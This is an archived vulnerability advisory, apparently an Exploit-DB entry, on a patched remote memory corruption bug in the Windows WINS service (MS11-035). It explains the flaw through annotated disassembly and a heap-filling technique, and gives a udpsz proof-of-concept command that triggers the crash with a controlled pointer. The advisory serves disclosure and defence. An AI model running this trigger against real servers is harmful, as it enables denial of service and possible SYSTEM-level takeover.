Microsoft WINS Service 5.2.3790.4520 - Memory Corruption (MS11-035)

EDB-ID:

17830




Platform:

Windows

Date:

2011-09-13


#######################################################################

                             Luigi Auriemma

Application:  Microsoft WINS service
              http://www.microsoft.com
Versions:     <= 5.2.3790.4520
Platforms:    Windows
Bug:          arbitrary memory corruption
Exploitation: remote, versus server
Date:         found    21 Oct 2010
              patched  10 May 2011
              advisory 13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org

References:   http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx
              http://www.zerodayinitiative.com/advisories/ZDI-11-167/


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


WINS stands for "Windows Internet Name Service" and is a classical
service running on port 42 usually active in intranet environments for
resolving the NetBIOS names.


#######################################################################

======
2) Bug
======


Notes: the reported dumps refer to WINS 5.2.3790.4520 on Windows 2003
Server.

The problem is located in the function at address 0101488A used to
perform the sending of a reply packet back to the client where it's
raised an exception if send() fails, for example because the client
interrupted the connection before the receiving of the data.

In this function the size of the data to send (0x2c) is passed to
ntohl() and stored on the stack buffer where is located the beginning
of the packet to send, but when the exception is raised then the code
flow continues from 01013e86 and after a CALL EAX in msvcrt.dll arrives
on 01013e8a where EDI takes the value at [EBP-4C] which is just
0x2c000000 (yes, it's 0x2c in network endian).

I have "tried" to resume the code flow here:

  01013E72   .  6A 2C         PUSH 2C                             ; /Arg3 = 0000002C
  01013E74   .  8D45 B8       LEA EAX,DWORD PTR SS:[EBP-48]       ; |
  01013E77   .  50            PUSH EAX                            ; |Arg2
  01013E78   .  FF76 30       PUSH DWORD PTR DS:[ESI+30]          ; |Arg1
> 01013E7B   .  E8 0A0A0000   CALL 0101488A                       ; \wins.0101488A (send packet)
  01013E80   .  834D FC FF    OR DWORD PTR SS:[EBP-4],FFFFFFFF
  01013E84   .  EB 0E         JMP SHORT 01013E94
  01013E86   .  33C0          XOR EAX,EAX                         ; arrives here after RaiseException
  01013E88   .  40            INC EAX
  01013E89   .  C3            RETN
> 01013E8A   .  8B65 E8       MOV ESP,DWORD PTR SS:[EBP-18]       ; after "CALL EAX" in msvcrt the code flow arrives here
  01013E8D   .  834D FC FF    OR DWORD PTR SS:[EBP-4],FFFFFFFF
  01013E91   .  8B7D B4       MOV EDI,DWORD PTR SS:[EBP-4C]
  01013E94   .  57            PUSH EDI                            ; /Arg1 (0x2c000000)
  01013E95   .  E8 240D0000   CALL 01014BBE                       ; \wins.01014BBE
  01013E9A   .  EB 1A         JMP SHORT 01013EB6
  ...
  0101488A  /$  8BFF          MOV EDI,EDI
  0101488C  |.  55            PUSH EBP
  0101488D  |.  8BEC          MOV EBP,ESP
  0101488F  |.  56            PUSH ESI
  01014890  |.  8B75 0C       MOV ESI,DWORD PTR SS:[EBP+C]
  01014893  |.  FF75 10       PUSH DWORD PTR SS:[EBP+10]          ; /0x2c
  01014896  |.  83C6 FC       ADD ESI,-4                          ; |
  01014899  |.  8975 0C       MOV DWORD PTR SS:[EBP+C],ESI        ; |
  0101489C  |.  FF15 4C120001 CALL DWORD PTR DS:[<&WS2_32.#8>]    ; \ntohl
  010148A2  |.  8345 10 04    ADD DWORD PTR SS:[EBP+10],4
  010148A6  |.  8906          MOV DWORD PTR DS:[ESI],EAX          ; stores 0x2c000000
  010148A8  |.  0F84 AA000000 JE 01014958
  010148AE  |.  53            PUSH EBX
  010148AF  |.  57            PUSH EDI                            ; stores the real value to pass to LeaveCriticalSection
  010148B0  |.  33F6          XOR ESI,ESI
  010148B2  |.  BF F0210001   MOV EDI,010021F0                    ; "d:\nt\net\wins\server\com\comm.c"
  010148B7  |>  BB FFFF0000   /MOV EBX,0FFFF
  010148BC  |.  395D 10       |CMP DWORD PTR SS:[EBP+10],EBX
  010148BF  |.  77 03         |JA SHORT 010148C4
  010148C1  |.  8B5D 10       |MOV EBX,DWORD PTR SS:[EBP+10]
  010148C4  |>  56            |PUSH ESI                           ; /Flags
  010148C5  |.  53            |PUSH EBX                           ; |DataSize
  010148C6  |.  FF75 0C       |PUSH DWORD PTR SS:[EBP+C]          ; |Data
  010148C9  |.  FF75 08       |PUSH DWORD PTR SS:[EBP+8]          ; |Socket
  010148CC  |.  FF15 3C120001 |CALL DWORD PTR DS:[<&WS2_32.#19>]  ; \send
  010148D2  |.  83F8 FF       |CMP EAX,-1
  010148D5  |.  75 56         |JNZ SHORT 0101492D
  010148D7  |.  FF15 54120001 |CALL DWORD PTR DS:[<&WS2_32.#111>] ; [WSAGetLastError
  010148DD  |.  3D 49270000   |CMP EAX,2749
  010148E2  |.  74 39         |JE SHORT 0101491D
  010148E4  |.  3D 46270000   |CMP EAX,2746
  010148E9  |.  74 32         |JE SHORT 0101491D
  010148EB  |.  3D 45270000   |CMP EAX,2745
  010148F0  |.  74 2B         |JE SHORT 0101491D
  010148F2  |.  3D 75270000   |CMP EAX,2775
  010148F7  |.  74 24         |JE SHORT 0101491D
  010148F9  |.  56            |PUSH ESI
  010148FA  |.  68 2F0B0000   |PUSH 0B2F
  010148FF  |.  57            |PUSH EDI
  01014900  |.  68 731001C0   |PUSH C0011073
  01014905  |>  6A 01         |PUSH 1
  01014907  |.  50            |PUSH EAX
  01014908  |.  E8 34790000   |CALL 0101C241
  0101490D  |>  56            |PUSH ESI                           ; /pArguments
  0101490E  |.  56            |PUSH ESI                           ; |nArguments
  0101490F  |.  56            |PUSH ESI                           ; |ExceptionFlags
  01014910  |.  68 080000E0   |PUSH E0000008                      ; |ExceptionCode = E0000008
> 01014915  |.  FF15 DC100001 |CALL DWORD PTR DS:[<&KERNEL32.Rais>; \RaiseException
  0101491B  |.  EB 30         |JMP SHORT 0101494D
  0101491D  |>  3935 34740201 |CMP DWORD PTR DS:[1027434],ESI
  01014923  |.^ 76 E8         |JBE SHORT 0101490D                 ; jumps
  ...
  01014BBE  /$  8BFF          MOV EDI,EDI
  01014BC0  |.  55            PUSH EBP
  01014BC1  |.  8BEC          MOV EBP,ESP
  01014BC3  |.  8B45 08       MOV EAX,DWORD PTR SS:[EBP+8]
  01014BC6  |.  8B40 04       MOV EAX,DWORD PTR DS:[EAX+4]        ; so EAX is 0x2c000000
  01014BC9  |.  83C0 0C       ADD EAX,0C                          ; add 0x0c to our value
  01014BCC  |.  50            PUSH EAX                            ; /pCriticalSection
  01014BCD  |.  FF15 A0100001 CALL KERNEL32.LeaveCriticalSection  ; \LeaveCriticalSection
  01014BD3  |.  33C0          XOR EAX,EAX
  01014BD5  |.  5D            POP EBP
  01014BD6  \.  C2 0400       RETN 4
  ...
  LeaveCriticalSection:
  7C81A3AB >  8BFF            MOV EDI,EDI
  7C81A3AD    55              PUSH EBP
  7C81A3AE    8BEC            MOV EBP,ESP
  7C81A3B0    57              PUSH EDI
  7C81A3B1    8B7D 08         MOV EDI,DWORD PTR SS:[EBP+8]
  7C81A3B4    FF4F 08         DEC DWORD PTR DS:[EDI+8]            ; exploitation happens here: EDI is controlled (pCriticalSection)
  7C81A3B7    75 21           JNZ SHORT 7C81A3DA
  7C81A3B9    53              PUSH EBX
  7C81A3BA    56              PUSH ESI
  7C81A3BB    C747 0C 0000000>MOV DWORD PTR DS:[EDI+C],0
  7C81A3C2    8D77 04         LEA ESI,DWORD PTR DS:[EDI+4]
  7C81A3C5    BB 01000000     MOV EBX,1
  7C81A3CA    F0:0FC11E       LOCK XADD DWORD PTR DS:[ESI],EBX
  7C81A3CE    43              INC EBX
  7C81A3CF    83FB FF         CMP EBX,-1
  7C81A3D2    0F85 0B2F0200   JNZ 7C83D2E3
  7C81A3D8    5E              POP ESI
  7C81A3D9    5B              POP EBX
  7C81A3DA    33C0            XOR EAX,EAX
  7C81A3DC    5F              POP EDI
  7C81A3DD    5D              POP EBP
  7C81A3DE    C2 0400         RETN 4
  ...

So EDI (the one of 01013E94) has ever the value 0x2c000000 because it's
ntohl(0x2c) and normally there would be an exception at address
01014BC6 because that zone of the memory is not allocated.

Instead it's possible to force the allocation of that zone of memory
and filling it with the own stuff simply by sending a big amount of
data in the same connection (or maybe also in time separated
connections but I have not tested).
Absolutely not a problem considering the intranet nature of the
service.

To be exact I have noticed that the starting of allocation of memory
happens after the sending of 2 gigabytes of data, when the situation
that was stable till that moment changes suddenly and the service
starts to allocate memory till occupying the about 700 megabytes needed
to reach 0x2c000000.

As already said it can be used just from the same connection, indeed
the service accepts multiple requests since it simply cares that the
max size of the data block specified in the first 32bit field is minor
or equal than 3115000 so if the content is invalid the connection
remains open and will be never closed or interrupted.

When the zone of the memory that includes 0x2c000000 is allocated
LeaveCriticalSection can be used to decrease a 32bit arbitray zone of
the memory (or in some conditions increasing it and placing 0x00000000)
giving to an attacker the opportunity of modifying the subsequent code
flow and executing code under SYSTEM privileges.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip (udpsz.zip)

  udpsz -C 00140004 -b a -l 0 -T 0xffffffff SERVER 42 0x140008

when the dots displayed by the tool no longer advance press CTRL-C and
the "DEC DWORD PTR DS:[EDI+8]" exception will be triggered immediately
with EDI equal to 0x61616161.

Note that the time needed to exploit the vulnerability depends mainly
by the memory on the machine, it can be one minute if there is one
gigabyte of RAM but can take also 10 minutes in case of 2 gigabytes so
take it in mind during your tests: launch the command and wait
(patiently) the stopping of the dots in udpsz.


#######################################################################

======
4) Fix
======


http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx


#######################################################################


--- 
Luigi Auriemma
http://aluigi.org